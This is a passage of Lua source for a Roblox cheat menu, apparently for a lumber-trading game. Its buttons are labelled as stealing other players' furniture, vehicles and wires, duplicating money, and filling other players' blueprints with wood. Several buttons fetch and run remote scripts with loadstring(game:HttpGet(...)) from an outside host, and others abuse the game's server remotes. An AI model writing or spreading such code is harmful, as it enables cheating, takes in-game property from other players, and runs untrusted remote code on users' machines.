local GetFurniture = Instance.new("TextButton")

GetFurniture.Name = "GetFurniture"
GetFurniture.Parent = CopyFrame
GetFurniture.BackgroundColor3 = Color3.new(0, 0, 0)
GetFurniture.BorderColor3 = Color3.new(0, 0, 0)
GetFurniture.Position = UDim2.new(0, 3, 0, 187)
GetFurniture.Size = UDim2.new(0, 165, 0, 20)
GetFurniture.Font = Enum.Font.Fantasy
GetFurniture.FontSize = Enum.FontSize.Size18
GetFurniture.Text = "Steal Furniture"
GetFurniture.TextColor3 = Color3.new(255, 0, 0)
GetFurniture.TextSize = 15
GetFurniture.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetFurnitures.lua',true))()

end)

local GetVehicle = Instance.new("TextButton")

GetVehicle.Name = "GetVehicle"
GetVehicle.Parent = CopyFrame
GetVehicle.BackgroundColor3 = Color3.new(0, 0, 0)
GetVehicle.BorderColor3 = Color3.new(0, 0, 0)
GetVehicle.Position = UDim2.new(0, 3, 0, 210)
GetVehicle.Size = UDim2.new(0, 165, 0, 20)
GetVehicle.Font = Enum.Font.Fantasy
GetVehicle.FontSize = Enum.FontSize.Size18
GetVehicle.Text = "Steal Box Vehicles"
GetVehicle.TextColor3 = Color3.new(255, 0, 0)
GetVehicle.TextSize = 15
GetVehicle.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetVehicle.lua',true))()

end)

local GetWires = Instance.new("TextButton")

GetWires.Name = "GetWires"
GetWires.Parent = CopyFrame
GetWires.BackgroundColor3 = Color3.new(0, 0, 0)
GetWires.BorderColor3 = Color3.new(0, 0, 0)
GetWires.Position = UDim2.new(0, 3, 0, 233)
GetWires.Size = UDim2.new(0, 165, 0, 20)
GetWires.Font = Enum.Font.Fantasy
GetWires.FontSize = Enum.FontSize.Size18
GetWires.Text = "Steal Wires"
GetWires.TextColor3 = Color3.new(255, 0, 0)
GetWires.TextSize = 15
GetWires.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/GetWires.lua',true))()

end)

local BringUp = Instance.new("TextButton")

BringUp.Name = "BringUp"
BringUp.Parent = CopyFrame
BringUp.BackgroundColor3 = Color3.new(0, 0, 0)
BringUp.BorderColor3 = Color3.new(0, 0, 0)
BringUp.Position = UDim2.new(0, 3, 0, 256)
BringUp.Size = UDim2.new(0, 165, 0, 20)
BringUp.Font = Enum.Font.Fantasy
BringUp.FontSize = Enum.FontSize.Size18
BringUp.Text = "BringUp"
BringUp.TextColor3 = Color3.new(255, 0, 0)
BringUp.TextSize = 15
BringUp.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://01925396229")[1].Source)()
end)

local Slot = Instance.new("TextBox")
local DMoney = Instance.new("TextButton")
local Load = Instance.new("TextButton")
local Store = Instance.new("TextButton")
local Restore = Instance.new("TextButton")
local SaveSlot = Instance.new("TextButton")
local DropAxes = Instance.new("TextButton")
local CountAxes = Instance.new("TextButton")

Slot.Name = "Slot"
Slot.Parent = CopyFrame
Slot.BackgroundColor3 = Color3.new(0, 0, 0)
Slot.BorderColor3 = Color3.new(0, 0, 0)
Slot.Position = UDim2.new(0, 3, 0, 279)
Slot.Size = UDim2.new(0, 165, 0, 20)
Slot.Font = Enum.Font.Fantasy
Slot.FontSize = Enum.FontSize.Size18
Slot.Text = "Base Slot Number "
Slot.TextColor3 = Color3.new(1, 1, 1)
Slot.TextSize = 15

--Locals
local MoneyCooldown = false
local CurrentSlot = game.Players.LocalPlayer:WaitForChild("CurrentSaveSlot").Value
local ScriptLoad = false
local CurrentlySavingOrLoading = game.Players.LocalPlayer:WaitForChild("CurrentlySavingOrLoading")

--Functions
local function CheckIfSlotAvailable(Slot)
	for a,b in pairs(game.ReplicatedStorage.LoadSaveRequests.GetMetaData:InvokeServer(game.Players.LocalPlayer)) do 
		if a == Slot then 
			for c,d in pairs(b) do 
				if c == "NumSaves" and d ~= 0 then 
					return true
				else
					return false
				end
			end
		end
	end
end

local function CheckSlotNumber() --Checks if the slot number is right
    if Slot.Text == "1" or Slot.Text == "2" or Slot.Text == "3" or Slot.Text == "4" or Slot.Text == "5" or Slot.Text == "6" then
		local SlotNumber = tonumber(Slot.Text)
		return SlotNumber
		else return false
	end
end

local function SendNotification(Title,Text,Duration) -- Sends Notification in the bottom right of the screen
	game.StarterGui:SetCore("SendNotification", {
		Title = Title;
		Text = Text;
		Icon = nil;
		Duration = Duration
	})
end

DMoney.Name = "DMoney"
DMoney.Parent = CopyFrame
DMoney.BackgroundColor3 = Color3.new(0, 0, 0)
DMoney.BorderColor3 = Color3.new(0, 0, 0)
DMoney.Position = UDim2.new(0, 3, 0, 302)
DMoney.Size = UDim2.new(0, 90, 0, 20)
DMoney.Font = Enum.Font.Fantasy
DMoney.FontSize = Enum.FontSize.Size18
DMoney.Text = "Dupe Money"
DMoney.TextColor3 = Color3.new(255, 0, 0)
DMoney.TextSize = 15
DMoney.MouseButton1Down:connect(function() --Sends the money and will come back after around 2 mins
	if MoneyCooldown == true then
		SendNotification("Cooldown Notification", "Wait for your Money to come back",2)
		return
	elseif MoneyCooldown == false then
		MoneyCooldown = true
		SendNotification("Money Sent", "Wait about 2 minutes for your Money to come back", 5)
		game.ReplicatedStorage.Transactions.ClientToServer.Donate:InvokeServer(game.Players.LocalPlayer, game.Players.LocalPlayer.leaderstats.Money.Value, 1)
		SendNotification("Money Received", "You received your money that you have sent earlier", 5)
		MoneyCooldown = false
	end
end)

Load.Name = "Load"
Load.Parent = CopyFrame
Load.BackgroundColor3 = Color3.new(0, 0, 0)
Load.BorderColor3 = Color3.new(0, 0, 0)
Load.Position = UDim2.new(0, 97, 0, 312)
Load.Size = UDim2.new(0, 70, 0, 20)
Load.Font = Enum.Font.Fantasy
Load.FontSize = Enum.FontSize.Size18
Load.Text = "Load Slot"
Load.TextColor3 = Color3.new(1, 1, 1)
Load.TextSize = 15
Load.MouseButton1Down:connect(function() --Loads the slot you want
	ScriptLoad = true
	local CheckSlot = CheckSlotNumber()
	if CheckSlot ~= false then
		if CheckIfSlotAvailable(CheckSlot) == true then
			local LoadSlot = game.ReplicatedStorage.LoadSaveRequests.RequestLoad:InvokeServer(CheckSlot)
			if LoadSlot == false then
				SendNotification("Cooldown Notification", "You aren't abled to load now", 1)
			end
			if LoadSlot == true then 
				SendNotification("Reload Notification", "Loaded Your Slot", 2)
				CurrentSlot = CheckSlot
			end
		else
			SendNotification("Slot not Available", "This Slot is not Available, please choose another slot", 2)
		end
	else
		SendNotification("Incorrect Slot", "Enter a Valid number in the upper field", 1)
	end
	ScriptLoad = false
end)

Store.Name = "Store"
Store.Parent = CopyFrame
Store.BackgroundColor3 = Color3.new(0, 0, 0)
Store.BorderColor3 = Color3.new(0, 0, 0)
Store.Position = UDim2.new(0, 3, 0, 325)
Store.Size = UDim2.new(0, 90, 0, 20)
Store.Font = Enum.Font.Fantasy
Store.FontSize = Enum.FontSize.Size18
Store.Text = "Store Axe"
Store.TextColor3 = Color3.new(255, 0, 0)
Store.TextSize = 15
Store.MouseButton1Down:connect(function() --Stores the Axes somewhere so you can restore them later
	Amount = 0
	for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do
		if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
			b.Parent = game.Players.LocalPlayer
			Amount = Amount + 1
		end
	end
	SendNotification("Store Notification", "Stored "..Amount.." Axes, you can restore them later", 2)
end)

Restore.Name = "Restore"
Restore.Parent = CopyFrame
Restore.BackgroundColor3 = Color3.new(0, 0, 0)
Restore.BorderColor3 = Color3.new(0, 0, 0)
Restore.Position = UDim2.new(0, 3, 0, 348)
Restore.Size = UDim2.new(0, 165, 0, 20)
Restore.Font = Enum.Font.Fantasy
Restore.FontSize = Enum.FontSize.Size18
Restore.Text = "Restore Axe"
Restore.TextColor3 = Color3.new(1, 1, 1)
Restore.TextSize = 15
Restore.MouseButton1Down:connect(function() --Restores the axes that you stored with the Store function
	Amount = 0
	for a,b in pairs(game.Players.LocalPlayer:GetChildren()) do
		if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
			b.Parent = game.Players.LocalPlayer.Backpack
			Amount = Amount + 1
		end
	end
	SendNotification("Restore Notification", "Restored "..Amount.." Axes that you Stored", 2)
end)

SaveSlot.Name = "SaveSlot"
SaveSlot.Parent = CopyFrame
SaveSlot.BackgroundColor3 = Color3.new(0, 0, 0)
SaveSlot.BorderColor3 = Color3.new(0, 0, 0)
SaveSlot.Position = UDim2.new(0, 3, 0, 371)
SaveSlot.Size = UDim2.new(0, 165, 0, 20)
SaveSlot.Font = Enum.Font.Fantasy
SaveSlot.FontSize = Enum.FontSize.Size18
SaveSlot.Text = "SaveSlot "
SaveSlot.TextColor3 = Color3.new(1, 1, 1)
SaveSlot.TextSize = 15
SaveSlot.MouseButton1Down:connect(function() --Saves the slot that you want
	local CheckSlot = CheckSlotNumber()
	if CheckSlot ~= false then
		if CurrentSlot ~= -1 then
			local SaveSlot = game.ReplicatedStorage.LoadSaveRequests.RequestSave:InvokeServer(CheckSlot)
			if SaveSlot == true then
				SendNotification("Save Notification", "Saved your Slot", 2)
			elseif SaveSlot == false then
				SendNotification("Already Saving", "Saving/Loading is currently in Progress", 1)
			end
		else
			SendNotification("Error", "Load Your Slot First before saving", 1)
		end
	else
		SendNotification("Incorrect Slot", "Enter a number in the upper field", 1)
	end
end)

DropAxes.Name = "DropAxes"
DropAxes.Parent = CopyFrame
DropAxes.BackgroundColor3 = Color3.new(0, 0, 0)
DropAxes.BorderColor3 = Color3.new(0, 0, 0)
DropAxes.Position = UDim2.new(0, 3, 0, 417)
DropAxes.Size = UDim2.new(0, 165, 0, 20)
DropAxes.Font = Enum.Font.Fantasy
DropAxes.FontSize = Enum.FontSize.Size18
DropAxes.Text = "Drop Axes "
DropAxes.TextColor3 = Color3.new(255, 0, 0)
DropAxes.TextSize = 15
DropAxes.MouseButton1Down:connect(function() --Drops all your Axes
	Amount = 0
	for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
		if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
			game.ReplicatedStorage.Interaction.ClientInteracted:FireServer(b, "Drop tool", game.Players.LocalPlayer.Character.Head.CFrame)
			Amount = Amount + 1
		end
	end
	SendNotification("Axe Dropped", "Dropped "..Amount.." Axes from your Backpack",5)
end)

CountAxes.Name = "CountAxes"
CountAxes.Parent = CopyFrame
CountAxes.BackgroundColor3 = Color3.new(0, 0, 0)
CountAxes.BorderColor3 = Color3.new(0, 0, 0)
CountAxes.Position = UDim2.new(0, 3, 0, 394)
CountAxes.Size = UDim2.new(0, 165, 0, 20)
CountAxes.Font = Enum.Font.Fantasy
CountAxes.FontSize = Enum.FontSize.Size18
CountAxes.Text = "Count Axes "
CountAxes.TextColor3 = Color3.new(255, 0, 0)
CountAxes.TextSize = 15
CountAxes.MouseButton1Down:connect(function() --Counts Axes in your Backpack (Equiped Axes dont Count)
	Amount = 0
	for a,b in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
		if b.Name ~= "BlueprintTool" and b.Name == "Tool" then
			Amount = Amount + 1
		end
	end
	SendNotification("Axe Amount", "You have "..Amount.." Axes in your Backpack",2)
end)

local ArtFrame = Instance.new("Frame")
local Artmenu = Instance.new("ImageButton")
local Paint = Instance.new("TextButton")

Artmenu.Name = "Artmenu"
Artmenu.Parent = Picker
Artmenu.BackgroundColor3 = Color3.new(1, 1, 1)
Artmenu.BorderColor3 = Color3.new(0, 0, 0)
Artmenu.Position = UDim2.new(0, 15, 0, 345)
Artmenu.Size = UDim2.new(0, 80, 0, 80)
Artmenu.ZIndex = 3
Artmenu.Image = "rbxassetid://3907587419"
Artmenu.ScaleType = Enum.ScaleType.Crop
Artmenu.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = false
AIntroImage1.Visible = false
end)

ArtFrame.Name = "ArtFrame"
ArtFrame.Parent = MenuFrame
ArtFrame.BorderSizePixel = 1
ArtFrame.BackgroundTransparency = 0
ArtFrame.BorderColor3 = Color3.new(0, 0, 0)
ArtFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
ArtFrame.Size = UDim2.new(0, 170, 0, 230)
ArtFrame.Visible = false

Paint.Name = "Paint"
Paint.Parent = ArtFrame
Paint.BackgroundColor3 = Color3.new(0, 0, 0)
Paint.BorderColor3 = Color3.new(0, 0, 0)
Paint.Position = UDim2.new(0, 3, 0, 3)
Paint.Size = UDim2.new(0, 165, 0, 20)
Paint.Font = Enum.Font.Fantasy
Paint.Text = "Paint"
Paint.TextColor3 = Color3.new(255, 0, 0)
Paint.TextSize = 15
Paint.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/paintb.txt',true))()
end)

local PaintFill = Instance.new("TextButton")
local PaintFill_1 = Instance.new("TextButton")
local PaintFillFrame = Instance.new("Frame")
local PaintNameBox = Instance.new("TextBox")
local PaintFills = Instance.new("ScrollingFrame")
local FillFir = Instance.new("TextButton")
local FillBirch = Instance.new("TextButton")
local FillCherry = Instance.new("TextButton")
local FillGeneric = Instance.new("TextButton")
local FillOak = Instance.new("TextButton")
local FillPalm = Instance.new("TextButton")
local FillPine = Instance.new("TextButton")
local FillWalnut = Instance.new("TextButton")
local FillKoa = Instance.new("TextButton")
local FillSign = Instance.new("TextButton")
local FillVolcano = Instance.new("TextButton")
local FillGoldSwampy = Instance.new("TextButton")
local FillGreenSwampy = Instance.new("TextButton")
local FillSnowGlow = Instance.new("TextButton")
local FillCaveCrawler = Instance.new("TextButton")
local FillSpooky = Instance.new("TextButton")
local FillLoneCave = Instance.new("TextButton")
local FillSpookyNeon = Instance.new("TextButton")
local FillFrost = Instance.new("TextButton")
local FillGenericSpecial = Instance.new("TextButton")
local FillGrey = Instance.new("TextButton")

PaintFill.Name = "PaintFill"
PaintFill.Parent = ArtFrame
PaintFill.BackgroundColor3 = Color3.new(0, 0, 0)
PaintFill.BorderColor3 = Color3.new(0, 0, 0)
PaintFill.Position = UDim2.new(0, 3, 0, 26)
PaintFill.Size = UDim2.new(0, 165, 0, 20)
PaintFill.Font = Enum.Font.Fantasy
PaintFill.FontSize = Enum.FontSize.Size18
PaintFill.Text = "Paint Fill"
PaintFill.TextColor3 = Color3.new(255, 0, 0)
PaintFill.TextSize = 15
PaintFill.MouseButton1Click:Connect(function()

end)

PaintFills.Name = "PaintFill"
PaintFills.Parent = MenuFrame
PaintFills.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
PaintFills.BorderColor3 = Color3.new(0, 0, 0)
PaintFills.Size = UDim2.new(0, 150, 0, 380)
PaintFills.Position = UDim2.new(0, 3, 0, 3)
PaintFills.CanvasPosition = Vector2.new(0,0)
PaintFills.CanvasSize = UDim2.new(0, 0, 0, 495)
PaintFills.Visible = false

PaintNameBox.Name = "PaintNameBox"
PaintNameBox.Parent = PaintFills
PaintNameBox.BackgroundColor3 = Color3.new(0, 0, 0)
PaintNameBox.BorderColor3 = Color3.new(0, 0, 0)
PaintNameBox.Position = UDim2.new(0, 3, 0, 3)
PaintNameBox.Size = UDim2.new(0, 150, 0, 20)
PaintNameBox.Font = Enum.Font.Fantasy
PaintNameBox.FontSize = Enum.FontSize.Size18
PaintNameBox.Text = "PLAYER NAME"
PaintNameBox.TextColor3 = Color3.new(255, 0, 0)
PaintNameBox.TextSize = 15

FillFir.Name = "FillFir"
FillFir.Parent = PaintFills
FillFir.BackgroundColor3 = Color3.fromRGB(241, 231, 199)
FillFir.BorderColor3 = Color3.new(0, 0, 0)
FillFir.Position = UDim2.new(0, 3, 0, 26)
FillFir.Size = UDim2.new(0, 150, 0, 20)
FillFir.Font = Enum.Font.SourceSans
FillFir.Text = "Fir"
FillFir.TextColor3 = Color3.new(0, 0, 0)
FillFir.TextSize = 14
FillFir.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Fir"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillCherry.Name = "Cherry"
FillCherry.Parent = PaintFills
FillCherry.BackgroundColor3 = Color3.fromRGB(136, 62, 62)
FillCherry.BorderColor3 = Color3.new(0, 0, 0)
FillCherry.Position = UDim2.new(0, 3, 0, 49)
FillCherry.Size = UDim2.new(0, 150, 0, 20)
FillCherry.Font = Enum.Font.SourceSans
FillCherry.Text = "Cherry"
FillCherry.TextColor3 = Color3.new(0, 0, 0)
FillCherry.TextSize = 14
FillCherry.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Cherry"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillGeneric.Name = "Generic"
FillGeneric.Parent = PaintFills
FillGeneric.BackgroundColor3 = Color3.fromRGB(204, 142, 105)
FillGeneric.BorderColor3 = Color3.new(0, 0, 0)
FillGeneric.Position = UDim2.new(0, 3, 0, 72)
FillGeneric.Size = UDim2.new(0, 150, 0, 20)
FillGeneric.Font = Enum.Font.SourceSans
FillGeneric.Text = "Generic"
FillGeneric.TextColor3 = Color3.new(0, 0, 0)
FillGeneric.TextSize = 14

FillGeneric.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Generic"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillOak.Name = "Oak"
FillOak.Parent = PaintFills
FillOak.BackgroundColor3 = Color3.fromRGB(243, 207, 155)
FillOak.BorderColor3 = Color3.new(0, 0, 0)
FillOak.Position = UDim2.new(0, 3, 0, 95)
FillOak.Size = UDim2.new(0, 150, 0, 20)
FillOak.Font = Enum.Font.SourceSans
FillOak.Text = "Oak"
FillOak.TextColor3 = Color3.new(0, 0, 0)
FillOak.TextSize = 14

FillOak.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Oak"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillPalm.Name = "Palm"
FillPalm.Parent = PaintFills
FillPalm.BackgroundColor3 = Color3.fromRGB(241, 231, 199)
FillPalm.BorderColor3 = Color3.new(0, 0, 0)
FillPalm.Position = UDim2.new(0, 3, 0, 118)
FillPalm.Size = UDim2.new(0, 150, 0, 20)
FillPalm.Font = Enum.Font.SourceSans
FillPalm.Text = "Palm"
FillPalm.TextColor3 = Color3.new(0, 0, 0)
FillPalm.TextSize = 14

FillPalm.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Palm"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillPine.Name = "Pine"
FillPine.Parent = PaintFills
FillPine.BackgroundColor3 = Color3.fromRGB(211, 190, 150)
FillPine.BorderColor3 = Color3.new(0, 0, 0)
FillPine.Position = UDim2.new(0, 3, 0, 141)
FillPine.Size = UDim2.new(0, 150, 0, 20)
FillPine.Font = Enum.Font.SourceSans
FillPine.Text = "Pine"
FillPine.TextColor3 = Color3.new(0, 0, 0)
FillPine.TextSize = 14

FillPine.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Pine"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillWalnut.Name = "Walnut"
FillWalnut.Parent = PaintFills
FillWalnut.BackgroundColor3 = Color3.fromRGB(106, 57, 9)
FillWalnut.BorderColor3 = Color3.new(0, 0, 0)
FillWalnut.Position = UDim2.new(0, 3, 0, 164)
FillWalnut.Size = UDim2.new(0, 150, 0, 20)
FillWalnut.Font = Enum.Font.SourceSans
FillWalnut.Text = "Walnut"
FillWalnut.TextColor3 = Color3.new(0, 0, 0)
FillWalnut.TextSize = 14

FillWalnut.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Walnut"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillKoa.Name = "Koa"
FillKoa.Parent = PaintFills
FillKoa.BackgroundColor3 = Color3.fromRGB(144, 76, 42)
FillKoa.BorderColor3 = Color3.new(0, 0, 0)
FillKoa.Position = UDim2.new(0, 3, 0, 187)
FillKoa.Size = UDim2.new(0, 150, 0, 20)
FillKoa.Font = Enum.Font.SourceSans
FillKoa.Text = "Koa"
FillKoa.TextColor3 = Color3.new(0, 0, 0)
FillKoa.TextSize = 14

FillKoa.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Koa"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillVolcano.Name = "Volcano"
FillVolcano.Parent = PaintFills
FillVolcano.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
FillVolcano.BorderColor3 = Color3.new(0, 0, 0)
FillVolcano.Position = UDim2.new(0, 3, 0, 210)
FillVolcano.Size = UDim2.new(0, 150, 0, 20)
FillVolcano.Font = Enum.Font.SourceSans
FillVolcano.Text = "Volcano"
FillVolcano.TextColor3 = Color3.new(0, 0, 0)
FillVolcano.TextSize = 14

FillVolcano.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Volcano"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillSign.Name = "Sign"
FillSign.Parent = PaintFills
FillSign.BackgroundColor3 = Color3.fromRGB(238, 196, 182)
FillSign.BorderColor3 = Color3.new(0, 0, 0)
FillSign.Position = UDim2.new(0, 3, 0, 233)
FillSign.Size = UDim2.new(0, 150, 0, 20)
FillSign.Font = Enum.Font.SourceSans
FillSign.Text = "Sign"
FillSign.TextColor3 = Color3.new(0, 0, 0)
FillSign.TextSize = 14

FillSign.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "Sign"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillGoldSwampy.Name = "GoldSwampy"
FillGoldSwampy.Parent = PaintFills
FillGoldSwampy.BackgroundColor3 = Color3.fromRGB(220, 188, 129)
FillGoldSwampy.BorderColor3 = Color3.new(0, 0, 0)
FillGoldSwampy.Position = UDim2.new(0, 3, 0, 256)
FillGoldSwampy.Size = UDim2.new(0, 150, 0, 20)
FillGoldSwampy.Font = Enum.Font.SourceSans
FillGoldSwampy.Text = "Gold"
FillGoldSwampy.TextColor3 = Color3.new(0, 0, 0)
FillGoldSwampy.TextSize = 14

FillGoldSwampy.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "GoldSwampy"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillGreenSwampy.Name = "GreenSwampy"
FillGreenSwampy.Parent = PaintFills
FillGreenSwampy.BackgroundColor3 = Color3.fromRGB(40, 127, 71)
FillGreenSwampy.BorderColor3 = Color3.new(0, 0, 0)
FillGreenSwampy.Position = UDim2.new(0, 3, 0, 279)
FillGreenSwampy.Size = UDim2.new(0, 150, 0, 20)
FillGreenSwampy.Font = Enum.Font.SourceSans
FillGreenSwampy.Text = "Green Swamp"
FillGreenSwampy.TextColor3 = Color3.new(0, 0, 0)
FillGreenSwampy.TextSize = 14

FillGreenSwampy.MouseButton1Down:connect(function()
	local PlayerName = PaintNameBox.Text
-- Put Whole Name
local WoodName = "GreenSwampy"
local ItsCFrame
local Remote = game.ReplicatedStorage.PlaceStructure.ClientPlacedStructure
for i,v in pairs(game.Workspace.PlayerModels:GetChildren()) do
if v:FindFirstChild("Owner") and tostring(v.Owner.Value) == PlayerName then
if v:FindFirstChild("Type") and v.Type.Value == "Blueprint" then
if v:FindFirstChild("MainCFrame") then
ItsCFrame = v.MainCFrame.Value
else
ItsCFrame = v.PrimaryPart.CFrame
end
if v ~= nil then
Remote:FireServer(v.Name, ItsCFrame, game.Players.LocalPlayer, WoodName, v, false)
end
end
end
end
end)

FillSnowGlow.Name = "SnowGlow"
FillSnowGlow.Parent = PaintFills
FillSnowGlow.BackgroundColor3 = Color3.fromRGB(199, 210, 60)
FillSnowGlow.BorderColor3 = Color3.new(0, 0, 0)
FillSnowGlow.Position = UDim2.new(0, 3, 0, 302)
FillSnowGlow.Size = UDim2.new(0, 150, 0, 20)
FillSnowGlow.Font = Enum.Font.SourceSans
FillSnowGlow.Text = "SnowGlow"
FillSnowGlow.TextColor3 = Color3.new(0, 0, 0)
FillSnowGlow.TextSize = 14

